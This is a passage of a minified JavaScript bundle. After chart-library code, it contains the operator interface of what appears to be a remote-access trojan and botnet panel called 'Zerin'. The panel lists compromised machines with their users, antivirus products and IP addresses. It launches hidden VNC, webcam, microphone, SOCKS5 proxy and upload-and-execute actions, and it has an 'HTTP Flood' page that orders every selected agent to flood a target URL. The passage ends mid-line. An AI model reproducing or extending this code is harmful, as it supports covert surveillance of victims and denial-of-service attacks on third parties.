l=t.getState(),c={activeCoordinate:wR(l),activeDataKey:W3(l),activeIndex:ps(l),activeLabel:F3(l),activeTooltipIndex:ps(l),isTooltipActive:jR(l)};n(c,r)}finally{_m.delete(i)}});_m.set(i,o)}}});var XW=I([Ps],e=>e.tooltipItemPayloads),ZW=I([XW,(e,t)=>t,(e,t,n)=>n],(e,t,n)=>{if(t!=null){var r=e.find(s=>s.settings.graphicalItemId===n);if(r!=null){var{getPosition:i}=r;if(i!=null)return i(t)}}}),tS=On("touchMove"),nS=ll();nS.startListening({actionCreator:tS,effect:(e,t)=>{var n=e.payload;if(!(n.touches==null||n.touches.length===0)){var r=t.getState(),i=rv(r,r.tooltip.settings.shared);if(i==="axis"){var s=n.touches[0];if(s==null)return;var o=wv(r,jv({clientX:s.clientX,clientY:s.clientY,currentTarget:n.currentTarget}));(o==null?void 0:o.activeIndex)!=null&&t.dispatch(E3({activeIndex:o.activeIndex,activeDataKey:void 0,activeCoordinate:o.activeCoordinate}))}else if(i==="item"){var l,c=n.touches[0];if(document.elementFromPoint==null||c==null)return;var u=document.elementFromPoint(c.clientX,c.clientY);if(!u||!u.getAttribute)return;var d=u.getAttribute(vk),f=(l=u.getAttribute(gk))!==null&&l!==void 0?l:void 0,p=Es(r).find(g=>g.id===f);if(d==null||p==null||f==null)return;var{dataKey:h}=p,x=ZW(r,d,f);t.dispatch(C3({activeDataKey:h,activeIndex:d,activeCoordinate:x,activeGraphicalItemId:f}))}}}});var QW=FN({brush:DF,cartesianAxis:EF,chartData:y9,errorBars:UF,graphicalItems:WB,layout:hT,legend:gM,options:p9,polarAxis:Q$,polarOptions:qW,referenceElements:$F,rootProps:VW,tooltip:ID,zIndex:r9}),JW=function(t){var n=arguments.length>1&&arguments[1]!==void 0?arguments[1]:"Chart";return BO({reducer:QW,preloadedState:t,middleware:r=>{var i;return r({serializableCheck:!1,immutableCheck:!["commonjs","es6","production"].includes((i="es6")!==null&&i!==void 0?i:"")}).concat([Yz.middleware,qz.middleware,Nv.middleware,eS.middleware,nS.middleware])},enhancers:r=>{var i=r;return typeof r=="function"&&(i=r()),i.concat(nk({type:"raf"}))},devTools:{serialize:{replacer:UW},name:"recharts-".concat(n)}})};function rS(e){var{preloadedState:t,children:n,reduxStoreName:r}=e,i=Jn(),s=m.useRef(null);if(i)return n;s.current==null&&(s.current=JW(t,r));var o=Hx;return m.createElement(mW,{context:o,store:s.current},n)}function eU(e){var{layout:t,margin:n}=e,r=ot(),i=Jn();return m.useEffect(()=>{i||(r(fT(t)),r(dT(n)))},[r,i,t,n]),null}var iS=m.memo(eU,Dz);function aS(e){var t=ot();return m.useEffect(()=>{t(HW(e))},[t,e]),null}function Ab(e){var{zIndex:t,isPanorama:n}=e,r=m.useRef(null),i=ot();return m.useLayoutEffect(()=>(r.current&&i(t9({zIndex:t,element:r.current,isPanorama:n})),()=>{i(n9({zIndex:t,isPanorama:n}))}),[i,t,n]),m.createElement("g",{tabIndex:-1,ref:r})}function Ob(e){var{children:t,isPanorama:n}=e,r=je(HR);if(!r||r.length===0)return t;var i=r.filter(o=>o<0),s=r.filter(o=>o>0);return m.createElement(m.Fragment,null,i.map(o=>m.createElement(Ab,{key:o,zIndex:o,isPanorama:n})),t,s.map(o=>m.createElement(Ab,{key:o,zIndex:o,isPanorama:n})))}var tU=["children"];function nU(e,t){if(e==null)return{};var n,r,i=rU(e,t);if(Object.getOwnPropertySymbols){var s=Object.getOwnPropertySymbols(e);for(r=0;r{var n=nM(),r=rM(),i=Ik();if(!Si(n)||!Si(r))return null;var{children:s,otherAttributes:o,title:l,desc:c}=e,u,d;return o!=null&&(typeof o.tabIndex=="number"?u=o.tabIndex:u=i?0:void 0,typeof o.role=="string"?d=o.role:d=i?"application":void 0),m.createElement(Fj,Ku({},o,{title:l,desc:c,role:d,tabIndex:u,width:n,height:r,style:iU,ref:t}),s)}),sU=e=>{var{children:t}=e,n=je(Wd);if(!n)return null;var{width:r,height:i,y:s,x:o}=n;return m.createElement(Fj,{width:r,height:i,x:o,y:s},t)},Tb=m.forwardRef((e,t)=>{var{children:n}=e,r=nU(e,tU),i=Jn();return i?m.createElement(sU,null,m.createElement(Ob,{isPanorama:!0},n)):m.createElement(aU,Ku({ref:t},r),m.createElement(Ob,{isPanorama:!1},n))});function oU(){var e=ot(),[t,n]=m.useState(null),r=je(_T);return m.useEffect(()=>{if(t!=null){var i=t.getBoundingClientRect(),s=i.width/t.offsetWidth;Ee(s)&&s!==r&&e(pT(s))}},[t,e,r]),n}function Mb(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function lU(e){for(var t=1;t(P9(),null);function Gu(e){if(typeof e=="number")return e;if(typeof e=="string"){var t=parseFloat(e);if(!Number.isNaN(t))return t}return 0}var mU=m.forwardRef((e,t)=>{var n,r,i=m.useRef(null),[s,o]=m.useState({containerWidth:Gu((n=e.style)===null||n===void 0?void 0:n.width),containerHeight:Gu((r=e.style)===null||r===void 0?void 0:r.height)}),l=m.useCallback((u,d)=>{o(f=>{var p=Math.round(u),h=Math.round(d);return f.containerWidth===p&&f.containerHeight===h?f:{containerWidth:p,containerHeight:h}})},[]),c=m.useCallback(u=>{if(typeof t=="function"&&t(u),u!=null&&typeof ResizeObserver<"u"){var{width:d,height:f}=u.getBoundingClientRect();l(d,f);var p=x=>{var g=x[0];if(g!=null){var{width:y,height:v}=g.contentRect;l(y,v)}},h=new ResizeObserver(p);h.observe(u),i.current=h}},[t,l]);return m.useEffect(()=>()=>{var u=i.current;u!=null&&u.disconnect()},[l]),m.createElement(m.Fragment,null,m.createElement(ul,{width:s.containerWidth,height:s.containerHeight}),m.createElement("div",ji({ref:c},e)))}),pU=m.forwardRef((e,t)=>{var{width:n,height:r}=e,[i,s]=m.useState({containerWidth:Gu(n),containerHeight:Gu(r)}),o=m.useCallback((c,u)=>{s(d=>{var f=Math.round(c),p=Math.round(u);return d.containerWidth===f&&d.containerHeight===p?d:{containerWidth:f,containerHeight:p}})},[]),l=m.useCallback(c=>{if(typeof t=="function"&&t(c),c!=null){var{width:u,height:d}=c.getBoundingClientRect();o(u,d)}},[t,o]);return m.createElement(m.Fragment,null,m.createElement(ul,{width:i.containerWidth,height:i.containerHeight}),m.createElement("div",ji({ref:l},e)))}),hU=m.forwardRef((e,t)=>{var{width:n,height:r}=e;return m.createElement(m.Fragment,null,m.createElement(ul,{width:n,height:r}),m.createElement("div",ji({ref:t},e)))}),xU=m.forwardRef((e,t)=>{var{width:n,height:r}=e;return typeof n=="string"||typeof r=="string"?m.createElement(pU,ji({},e,{ref:t})):typeof n=="number"&&typeof r=="number"?m.createElement(hU,ji({},e,{width:n,height:r,ref:t})):m.createElement(m.Fragment,null,m.createElement(ul,{width:n,height:r}),m.createElement("div",ji({ref:t},e)))});function vU(e){return e?mU:xU}var gU=m.forwardRef((e,t)=>{var{children:n,className:r,height:i,onClick:s,onContextMenu:o,onDoubleClick:l,onMouseDown:c,onMouseEnter:u,onMouseLeave:d,onMouseMove:f,onMouseUp:p,onTouchEnd:h,onTouchMove:x,onTouchStart:g,style:y,width:v,responsive:b,dispatchTouchEvents:w=!0}=e,j=m.useRef(null),N=ot(),[k,z]=m.useState(null),[S,O]=m.useState(null),A=oU(),T=e0(),P=(T==null?void 0:T.width)>0?T.width:v,D=(T==null?void 0:T.height)>0?T.height:i,G=m.useCallback(C=>{A(C),typeof t=="function"&&t(C),z(C),O(C),C!=null&&(j.current=C)},[A,t,z,O]),R=m.useCallback(C=>{N(Gz(C)),N(kn({handler:s,reactEvent:C}))},[N,s]),K=m.useCallback(C=>{N(zh(C)),N(kn({handler:u,reactEvent:C}))},[N,u]),_=m.useCallback(C=>{N(P3()),N(kn({handler:d,reactEvent:C}))},[N,d]),M=m.useCallback(C=>{N(zh(C)),N(kn({handler:f,reactEvent:C}))},[N,f]),F=m.useCallback(()=>{N(Jz())},[N]),U=m.useCallback(C=>{N(Qz(C.key))},[N]),V=m.useCallback(C=>{N(kn({handler:o,reactEvent:C}))},[N,o]),Z=m.useCallback(C=>{N(kn({handler:l,reactEvent:C}))},[N,l]),ae=m.useCallback(C=>{N(kn({handler:c,reactEvent:C}))},[N,c]),ue=m.useCallback(C=>{N(kn({handler:p,reactEvent:C}))},[N,p]),be=m.useCallback(C=>{N(kn({handler:g,reactEvent:C}))},[N,g]),ye=m.useCallback(C=>{w&&N(tS(C)),N(kn({handler:x,reactEvent:C}))},[N,w,x]),q=m.useCallback(C=>{N(kn({handler:h,reactEvent:C}))},[N,h]),te=vU(b);return m.createElement(X3.Provider,{value:k},m.createElement(T_.Provider,{value:S},m.createElement(te,{width:P??(y==null?void 0:y.width),height:D??(y==null?void 0:y.height),className:Qe("recharts-wrapper",r),style:lU({position:"relative",cursor:"default",width:P,height:D},y),onClick:R,onContextMenu:V,onDoubleClick:Z,onFocus:F,onKeyDown:U,onMouseDown:ae,onMouseEnter:K,onMouseLeave:_,onMouseMove:M,onMouseUp:ue,onTouchEnd:q,onTouchMove:ye,onTouchStart:be,ref:G},m.createElement(fU,null),n)))}),yU=["width","height","responsive","children","className","style","compact","title","desc"];function bU(e,t){if(e==null)return{};var n,r,i=wU(e,t);if(Object.getOwnPropertySymbols){var s=Object.getOwnPropertySymbols(e);for(r=0;r{var{width:n,height:r,responsive:i,children:s,className:o,style:l,compact:c,title:u,desc:d}=e,f=bU(e,yU),p=Mr(f);return c?m.createElement(m.Fragment,null,m.createElement(ul,{width:n,height:r}),m.createElement(Tb,{otherAttributes:p,title:u,desc:d},s)):m.createElement(gU,{className:o,style:l,width:n,height:r,responsive:i??!1,onClick:e.onClick,onMouseLeave:e.onMouseLeave,onMouseEnter:e.onMouseEnter,onMouseMove:e.onMouseMove,onMouseDown:e.onMouseDown,onMouseUp:e.onMouseUp,onContextMenu:e.onContextMenu,onDoubleClick:e.onDoubleClick,onTouchStart:e.onTouchStart,onTouchMove:e.onTouchMove,onTouchEnd:e.onTouchEnd},m.createElement(Tb,{otherAttributes:p,title:u,desc:d,ref:t},m.createElement(FF,null,s)))});function Sh(){return Sh=Object.assign?Object.assign.bind():function(e){for(var t=1;t{t(YW(e))},[t,e]),null}var SU=["layout"];function Ch(){return Ch=Object.assign?Object.assign.bind():function(e){for(var t=1;t{var n=gn(e,LU);return m.createElement(_U,{chartName:"PieChart",defaultTooltipEventType:"item",validateTooltipEventTypes:MU,tooltipPayloadSearcher:Q3,categoricalChartProps:n,ref:t})}),DU=["axis"],RU=m.forwardRef((e,t)=>m.createElement(kU,{chartName:"AreaChart",defaultTooltipEventType:"axis",validateTooltipEventTypes:DU,tooltipPayloadSearcher:Q3,categoricalChartProps:e,ref:t}));function $U({agents:e}){const t=m.useMemo(()=>{const i=Date.now(),s=24*60*60*1e3,o=24,l=s/o,c=[];for(let u=0;unew Date(x.first_seen).getTime()<=d+l).length;c.push({time:p,count:h})}return c},[e]),n=m.useMemo(()=>{const i=e.filter(l=>l.status==="alive").length,s=e.filter(l=>l.status==="stale").length,o=e.filter(l=>l.status==="dead").length;return[{name:"Alive",value:i,color:"#06B6D4"},{name:"Stale",value:s,color:"#71717A"},{name:"Dead",value:o,color:"#3F3F46"}].filter(l=>l.value>0)},[e]),r=m.useId().replace(/:/g,"_")+"_agentFill";return e.length===0?null:a.jsxs("div",{className:"grid grid-cols-1 sm:grid-cols-2 gap-3 mb-6",children:[a.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-4",children:[a.jsx("p",{className:"text-[10px] font-medium text-zerin-text-muted uppercase tracking-wider mb-3",children:"Agent Count (24h)"}),a.jsx("div",{style:{height:100},children:a.jsx(Wy,{width:"100%",height:"100%",children:a.jsxs(RU,{data:t,margin:{top:0,right:0,bottom:0,left:0},children:[a.jsx("defs",{children:a.jsxs("linearGradient",{id:r,x1:"0",y1:"0",x2:"0",y2:"1",children:[a.jsx("stop",{offset:"0%",stopColor:"#06B6D4",stopOpacity:.2}),a.jsx("stop",{offset:"100%",stopColor:"#06B6D4",stopOpacity:0})]})}),a.jsx(W2,{contentStyle:{background:"#111113",border:"1px solid #1F1F23",borderRadius:0,fontSize:11,color:"#FAFAFA"},labelStyle:{color:"#71717A"}}),a.jsx(Kz,{type:"monotone",dataKey:"count",stroke:"#06B6D4",strokeWidth:1.5,fill:`url(#${r})`,dot:!1,activeDot:{r:3,fill:"#06B6D4",stroke:"#09090B",strokeWidth:2}})]})})})]}),a.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-4",children:[a.jsx("p",{className:"text-[10px] font-medium text-zerin-text-muted uppercase tracking-wider mb-3",children:"Status Breakdown"}),a.jsxs("div",{className:"flex items-center gap-4",children:[a.jsx("div",{style:{width:100,height:100},children:a.jsx(Wy,{width:"100%",height:"100%",children:a.jsxs(IU,{children:[a.jsx(Ez,{data:n,cx:"50%",cy:"50%",innerRadius:30,outerRadius:45,paddingAngle:2,dataKey:"value",stroke:"none",children:n.map((i,s)=>a.jsx(mf,{fill:i.color},s))}),a.jsx(W2,{contentStyle:{background:"#111113",border:"1px solid #1F1F23",borderRadius:0,fontSize:11,color:"#FAFAFA"}})]})})}),a.jsx("div",{className:"space-y-2",children:n.map(i=>a.jsxs("div",{className:"flex items-center gap-2 text-xs",children:[a.jsx("span",{className:"w-2 h-2 rounded-full",style:{backgroundColor:i.color}}),a.jsx("span",{className:"text-zerin-text-dim",children:i.name}),a.jsx("span",{className:"text-zerin-text font-mono font-medium",children:i.value})]},i.name))})]})]})]})}function BU({tags:e,onChange:t,readOnly:n=!1}){const[r,i]=m.useState(""),[s,o]=m.useState(!1),l=m.useRef(null),c=m.useCallback(()=>{const f=r.trim().toLowerCase();if(!f||e.includes(f)){i("");return}t([...e,f]),i(""),o(!1)},[r,e,t]),u=m.useCallback(f=>{t(e.filter(p=>p!==f))},[e,t]),d=f=>{f.key==="Enter"&&(f.preventDefault(),c()),f.key==="Escape"&&(o(!1),i(""))};return a.jsxs("div",{className:"flex flex-wrap items-center gap-1.5",children:[e.map(f=>a.jsxs("span",{className:`inline-flex items-center gap-1 px-2 py-0.5 text-xs font-medium\r + bg-zerin-panel-hover text-zerin-text-dim border border-zerin-panel-border`,children:[f,!n&&a.jsx("button",{onClick:()=>u(f),className:"text-zerin-text-muted hover:text-zerin-danger transition-colors ml-0.5",children:a.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M6 18L18 6M6 6l12 12"})})})]},f)),!n&&a.jsx(a.Fragment,{children:s?a.jsx("input",{ref:l,type:"text",value:r,onChange:f=>i(f.target.value),onKeyDown:d,onBlur:()=>{r.trim()?c():o(!1)},autoFocus:!0,placeholder:"tag name",className:`w-20 bg-zerin-bg border border-zerin-panel-border px-1.5 py-0.5\r + text-xs text-zerin-text placeholder-zerin-text-muted\r + focus:outline-none focus:border-zerin-accent/50 transition-all`}):a.jsxs("button",{onClick:()=>{o(!0),setTimeout(()=>{var f;return(f=l.current)==null?void 0:f.focus()},50)},className:`inline-flex items-center gap-0.5 px-1.5 py-0.5 text-xs\r + text-zerin-text-muted hover:text-zerin-accent\r + border border-dashed border-zerin-panel-border hover:border-zerin-accent/40\r + transition-colors`,children:[a.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M12 4v16m8-8H4"})}),"tag"]})})]})}const FU=["GET","POST","HEAD"],WU=[{label:"30s",value:30},{label:"60s",value:60},{label:"5m",value:300},{label:"10m",value:600}];function lS({agentIds:e,agentStatus:t}){const[n,r]=m.useState(""),[i,s]=m.useState(60),[o,l]=m.useState(10),[c,u]=m.useState("GET"),[d,f]=m.useState(!1),[p,h]=m.useState(null),[x,g]=m.useState(!1),[y,v]=m.useState([]),b=t==="dead",w=e.length,j=(z,S)=>{h({text:z,type:S}),setTimeout(()=>h(null),5e3)},N=async()=>{if(!n.trim()){j("Target URL is required","err");return}f(!0),v([]);try{const S=(await Promise.allSettled(e.map(A=>Me(A,{command:"ddos_start",args:[n.trim(),String(i),String(o),c]})))).map((A,T)=>({agentId:e[T],ok:A.status==="fulfilled",error:A.status==="rejected"?A.reason instanceof Error?A.reason.message:"Failed":void 0}));v(S);const O=S.filter(A=>A.ok).length;g(O>0),O===w?j(`Flood started on ${w} agent${w!==1?"s":""}: ${c} ${n} | ${o} threads | ${i}s`,"ok"):j(`Started on ${O}/${w} agents (${w-O} failed)`,O>0?"ok":"err")}catch(z){j(z instanceof Error?z.message:"Failed to start","err")}finally{f(!1)}},k=async()=>{f(!0),v([]);try{const S=(await Promise.allSettled(e.map(A=>Me(A,{command:"ddos_stop"})))).map((A,T)=>({agentId:e[T],ok:A.status==="fulfilled",error:A.status==="rejected"?A.reason instanceof Error?A.reason.message:"Failed":void 0}));v(S),g(!1);const O=S.filter(A=>A.ok).length;j(`Stop sent to ${O}/${w} agent${w!==1?"s":""}`,"ok")}catch(z){j(z instanceof Error?z.message:"Failed to stop","err")}finally{f(!1)}};return a.jsx("div",{className:"p-6 animate-fade-in",children:a.jsxs("div",{className:"max-w-2xl mx-auto space-y-6",children:[a.jsxs("div",{className:"flex items-center gap-3",children:[a.jsx("div",{className:"w-8 h-8 bg-red-500/10 flex items-center justify-center",children:a.jsx("svg",{className:"w-4 h-4 text-red-400",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M13 10V3L4 14h7v7l9-11h-7z"})})}),a.jsxs("div",{children:[a.jsx("h2",{className:"text-sm font-semibold text-zerin-text",children:"HTTP Flood"}),a.jsxs("p",{className:"text-xs text-zerin-text-muted",children:["Layer 7 HTTP flood attack",w>1&&a.jsxs("span",{className:"ml-1 text-zerin-accent font-medium",children:["(",w," agents)"]})]})]}),x&&a.jsxs("span",{className:"ml-auto flex items-center gap-1.5 text-xs font-medium text-red-400",children:[a.jsx("span",{className:"w-1.5 h-1.5 rounded-full bg-red-400 animate-pulse"}),"ACTIVE"]})]}),p&&a.jsx("div",{className:`px-3 py-2 text-xs font-mono ${p.type==="ok"?"bg-emerald-500/10 text-emerald-400 border border-emerald-500/20":"bg-red-500/10 text-red-400 border border-red-500/20"}`,children:p.text}),y.length>1&&a.jsx("div",{className:"bg-zerin-panel border border-zerin-panel-border p-3 space-y-1 max-h-32 overflow-y-auto",children:y.map(z=>a.jsxs("div",{className:"flex items-center gap-2 text-xs font-mono",children:[a.jsx("span",{className:`w-1.5 h-1.5 rounded-full ${z.ok?"bg-emerald-400":"bg-red-400"}`}),a.jsx("span",{className:"text-zerin-text-dim",children:z.agentId.slice(0,8)}),a.jsx("span",{className:z.ok?"text-emerald-400":"text-red-400",children:z.ok?"OK":z.error})]},z.agentId))}),a.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border",children:[a.jsx("div",{className:"px-4 py-3 border-b border-zerin-panel-border",children:a.jsx("h3",{className:"text-xs font-semibold text-zerin-text uppercase tracking-wider",children:"Configuration"})}),a.jsxs("div",{className:"p-4 space-y-4",children:[a.jsxs("div",{children:[a.jsx("label",{className:"block text-xs text-zerin-text-muted mb-1.5",children:"Target URL"}),a.jsx("input",{type:"text",value:n,onChange:z=>r(z.target.value),placeholder:"https://example.com",disabled:b||x,className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-2\r + text-sm text-zerin-text font-mono placeholder-zerin-text-muted\r + focus:outline-none focus:border-zerin-accent/50\r + disabled:opacity-40 disabled:cursor-not-allowed transition-colors`})]}),a.jsxs("div",{children:[a.jsx("label",{className:"block text-xs text-zerin-text-muted mb-1.5",children:"Method"}),a.jsx("div",{className:"flex gap-2",children:FU.map(z=>a.jsx("button",{onClick:()=>u(z),disabled:b||x,className:`px-4 py-1.5 text-xs font-mono font-medium transition-colors + disabled:opacity-40 disabled:cursor-not-allowed ${c===z?"bg-zerin-accent/15 text-zerin-accent border border-zerin-accent/40":"bg-zerin-bg text-zerin-text-dim border border-zerin-panel-border hover:border-zerin-panel-border-hover"}`,children:z},z))})]}),a.jsxs("div",{children:[a.jsxs("label",{className:"block text-xs text-zerin-text-muted mb-1.5",children:["Duration: ",a.jsxs("span",{className:"text-zerin-text font-mono",children:[i,"s"]})]}),a.jsxs("div",{className:"flex items-center gap-3",children:[a.jsx("input",{type:"range",min:10,max:3600,step:10,value:i,onChange:z=>s(Number(z.target.value)),disabled:b||x,className:"flex-1 accent-zerin-accent disabled:opacity-40"}),a.jsx("div",{className:"flex gap-1.5",children:WU.map(z=>a.jsx("button",{onClick:()=>s(z.value),disabled:b||x,className:`px-2 py-1 text-[10px] font-mono transition-colors + disabled:opacity-40 disabled:cursor-not-allowed ${i===z.value?"bg-zerin-accent/15 text-zerin-accent":"bg-zerin-bg text-zerin-text-dim hover:text-zerin-text border border-zerin-panel-border"}`,children:z.label},z.value))})]})]}),a.jsxs("div",{children:[a.jsxs("label",{className:"block text-xs text-zerin-text-muted mb-1.5",children:["Threads: ",a.jsx("span",{className:"text-zerin-text font-mono",children:o})]}),a.jsx("input",{type:"range",min:1,max:64,value:o,onChange:z=>l(Number(z.target.value)),disabled:b||x,className:"w-full accent-zerin-accent disabled:opacity-40"}),a.jsxs("div",{className:"flex justify-between text-[10px] text-zerin-text-muted font-mono mt-1",children:[a.jsx("span",{children:"1"}),a.jsx("span",{children:"16"}),a.jsx("span",{children:"32"}),a.jsx("span",{children:"48"}),a.jsx("span",{children:"64"})]})]})]})]}),a.jsx("div",{className:"flex gap-3",children:x?a.jsxs("button",{onClick:k,disabled:d,className:`flex-1 flex items-center justify-center gap-2 px-4 py-2.5\r + text-sm font-medium text-white bg-zinc-600 hover:bg-zinc-700\r + disabled:opacity-30 disabled:cursor-not-allowed transition-colors`,children:[d?a.jsx("div",{className:"w-4 h-4 border-2 border-white/30 border-t-white rounded-full animate-spin"}):a.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M5.25 7.5A2.25 2.25 0 017.5 5.25h9a2.25 2.25 0 012.25 2.25v9a2.25 2.25 0 01-2.25 2.25h-9a2.25 2.25 0 01-2.25-2.25v-9z"})}),"Stop Flood",w>1?` (${w})`:""]}):a.jsxs("button",{onClick:N,disabled:b||d||!n.trim(),className:`flex-1 flex items-center justify-center gap-2 px-4 py-2.5\r + text-sm font-medium text-white bg-red-500 hover:bg-red-600\r + disabled:opacity-30 disabled:cursor-not-allowed transition-colors`,children:[d?a.jsx("div",{className:"w-4 h-4 border-2 border-white/30 border-t-white rounded-full animate-spin"}):a.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M13 10V3L4 14h7v7l9-11h-7z"})}),"Start Flood",w>1?` (${w})`:""]})})]})})}const Db={alive:0,stale:1,dead:2};function UU(e,t,n){let r=0;switch(n.column){case"status":r=(Db[e.status]??3)-(Db[t.status]??3);break;case"hostname":r=e.hostname.localeCompare(t.hostname);break;case"username":r=e.username.localeCompare(t.username);break;case"os":r=Io(e.os).localeCompare(Io(t.os));break;case"arch":r=e.arch.localeCompare(t.arch);break;case"av":r=(e.av_product??"").localeCompare(t.av_product??"");break;case"internal_ip":r=e.internal_ip.localeCompare(t.internal_ip);break;case"external_ip":r=e.external_ip.localeCompare(t.external_ip);break;case"pid":r=e.pid-t.pid;break;case"last_seen":r=new Date(e.last_seen).getTime()-new Date(t.last_seen).getTime();break}return n.direction==="asc"?r:-r}const VU=[{key:"status",label:"Status",className:"w-[80px]"},{key:"hostname",label:"Hostname"},{key:"username",label:"Username"},{key:"os",label:"OS"},{key:"arch",label:"Arch",className:"w-[80px]"},{key:"av",label:"AV"},{key:"internal_ip",label:"Internal IP",mono:!0},{key:"external_ip",label:"External IP",mono:!0},{key:"pid",label:"PID",mono:!0,className:"w-[80px]"},{key:"last_seen",label:"Last Seen"}];function HU(){const e=xr(),[t,n]=m.useState([]),[r,i]=m.useState(!0),[s,o]=m.useState(""),[l,c]=m.useState("all"),[u,d]=m.useState({column:"last_seen",direction:"desc"}),[f,p]=m.useState("online"),[h,x]=m.useState({x:0,y:0,visible:!1}),[g,y]=m.useState(null),[v,b]=m.useState(null),[w,j]=m.useState(null),[N,k]=m.useState(null),[z,S]=m.useState(null),[O,A]=m.useState("Zerin"),[T,P]=m.useState(""),[D,G]=m.useState(new Set),[R,K]=m.useState(!1),[_,M]=m.useState(!1),[F,U]=m.useState(""),[V,Z]=m.useState(""),[ae,ue]=m.useState(!1),[be,ye]=m.useState(null),q=m.useRef(null),te=m.useRef(null),C=m.useRef(null),Y=m.useCallback(async()=>{try{const E=await Sj();n(E),o("")}catch{o("Failed to fetch agents")}finally{i(!1)}},[]);m.useEffect(()=>{Y()},[Y]);const{lastMessage:ne}=m.useContext(gd);m.useEffect(()=>{if(ne&&ne.type==="agent_update"){const E=ne.payload;n(ce=>{const J=ce.findIndex(xe=>xe.id===E.id);if(J>=0){const xe=[...ce];return xe[J]=E,xe}return[E,...ce]}),b(ce=>ce&&ce.id===E.id?E:ce)}},[ne]),m.useEffect(()=>{const E=setInterval(Y,15e3);return()=>clearInterval(E)},[Y]),m.useEffect(()=>()=>{q.current&&clearTimeout(q.current)},[]);const B={total:t.length,alive:t.filter(E=>E.status==="alive").length,stale:t.filter(E=>E.status==="stale").length,dead:t.filter(E=>E.status==="dead").length},le=f==="online"?t.filter(E=>E.status==="alive"||E.status==="stale"):t.filter(E=>E.status==="dead"),Ne=[...l==="all"?le:le.filter(E=>E.status===l)].sort((E,ce)=>UU(E,ce,u)),Ae=t.filter(E=>E.status==="alive"||E.status==="stale").length,$=t.filter(E=>E.status==="dead").length;function fe(E){d(ce=>({column:E,direction:ce.column===E&&ce.direction==="asc"?"desc":"asc"}))}function ve(E){c(ce=>ce===E&&E!=="all"?"all":E)}function H(E){if(q.current){clearTimeout(q.current),q.current=null,e(`/agents/${E.id}`);return}q.current=setTimeout(()=>{q.current=null,b(E)},250)}function se(E,ce){E.preventDefault(),y(ce),x({x:E.clientX,y:E.clientY,visible:!0})}function W(E,ce){var X;if(!g)return;const J=g.id,xe=g.hostname,ke=ce==null?void 0:ce.action,ze=ce==null?void 0:ce.tab;if(x(re=>({...re,visible:!1})),y(null),ke==="chat"){j(g);return}if(ke==="confirm"){k({command:E,agentId:J,hostname:xe});return}if(ke==="msgbox"){S({agentId:J,hostname:xe}),A("Zerin"),P("");return}if(ke==="vnc"){Ex(J).then(()=>{const re=st(),oe=window.open(`/vnc/${J}`,`vnc-${J}`,"width=1300,height=800,menubar=no,toolbar=no,location=no,status=no");if(oe&&re){const Oe=et=>{var L;((L=et.data)==null?void 0:L.type)==="zerin_auth_request"&&et.origin===window.location.origin&&(oe.postMessage({type:"zerin_auth",token:re},window.location.origin),window.removeEventListener("message",Oe))};window.addEventListener("message",Oe)}}).catch(()=>o("Failed to start VNC"));return}if(ke==="hvnc"){Pj(J).then(()=>{const re=st(),oe=window.open(`/vnc/${J}?mode=hvnc`,`hvnc-${J}`,"width=1300,height=800,menubar=no,toolbar=no,location=no,status=no");if(oe&&re){const Oe=et=>{var L;((L=et.data)==null?void 0:L.type)==="zerin_auth_request"&&et.origin===window.location.origin&&(oe.postMessage({type:"zerin_auth",token:re},window.location.origin),window.removeEventListener("message",Oe))};window.addEventListener("message",Oe)}}).catch(()=>o("Failed to start hVNC"));return}if(ke==="webcam"){Ej(J).then(()=>{const re=st(),oe=window.open(`/webcam/${J}`,`webcam-${J}`,"width=800,height=650,menubar=no,toolbar=no,location=no,status=no");if(oe&&re){const Oe=et=>{var L;((L=et.data)==null?void 0:L.type)==="zerin_auth_request"&&et.origin===window.location.origin&&(oe.postMessage({type:"zerin_auth",token:re},window.location.origin),window.removeEventListener("message",Oe))};window.addEventListener("message",Oe)}}).catch(()=>o("Failed to start webcam"));return}if(ke==="mic"){_j(J).then(()=>{const re=st(),oe=window.open(`/mic/${J}`,`mic-${J}`,"width=500,height=400,menubar=no,toolbar=no,location=no,status=no");if(oe&&re){const Oe=et=>{var L;((L=et.data)==null?void 0:L.type)==="zerin_auth_request"&&et.origin===window.location.origin&&(oe.postMessage({type:"zerin_auth",token:re},window.location.origin),window.removeEventListener("message",Oe))};window.addEventListener("message",Oe)}}).catch(()=>o("Failed to start microphone"));return}if(ke==="socks5"){Aj(J).then(re=>{alert(`SOCKS5 proxy started on ${re.bind}:${re.port} + +Use: ssh -L ${re.port}:127.0.0.1:${re.port} root@`)}).catch(()=>alert("Failed to start SOCKS5 proxy"));return}if(ke==="execute_upload"){C.current=J,(X=te.current)==null||X.click();return}if(ke==="ban"){const re=t.find(L=>L.id===J),oe=re==null?void 0:re.banned,Oe=oe?`Unban agent ${xe} (${J.slice(0,8)})? It will be allowed to check in again.`:`Ban agent ${xe} (${J.slice(0,8)})? It will be rejected on future check-ins.`;if(!confirm(Oe))return;(oe?e6:JE)(J).then(()=>{n(L=>L.map(ie=>ie.id===J?{...ie,banned:!oe}:ie))}).catch(()=>o(`Failed to ${oe?"unban":"ban"} agent`));return}if(ke==="remove"){if(!confirm(`Remove agent ${xe} (${J.slice(0,8)})? This cannot be undone.`))return;Cj(J).then(()=>{n(re=>re.filter(oe=>oe.id!==J))}).catch(()=>o("Failed to remove 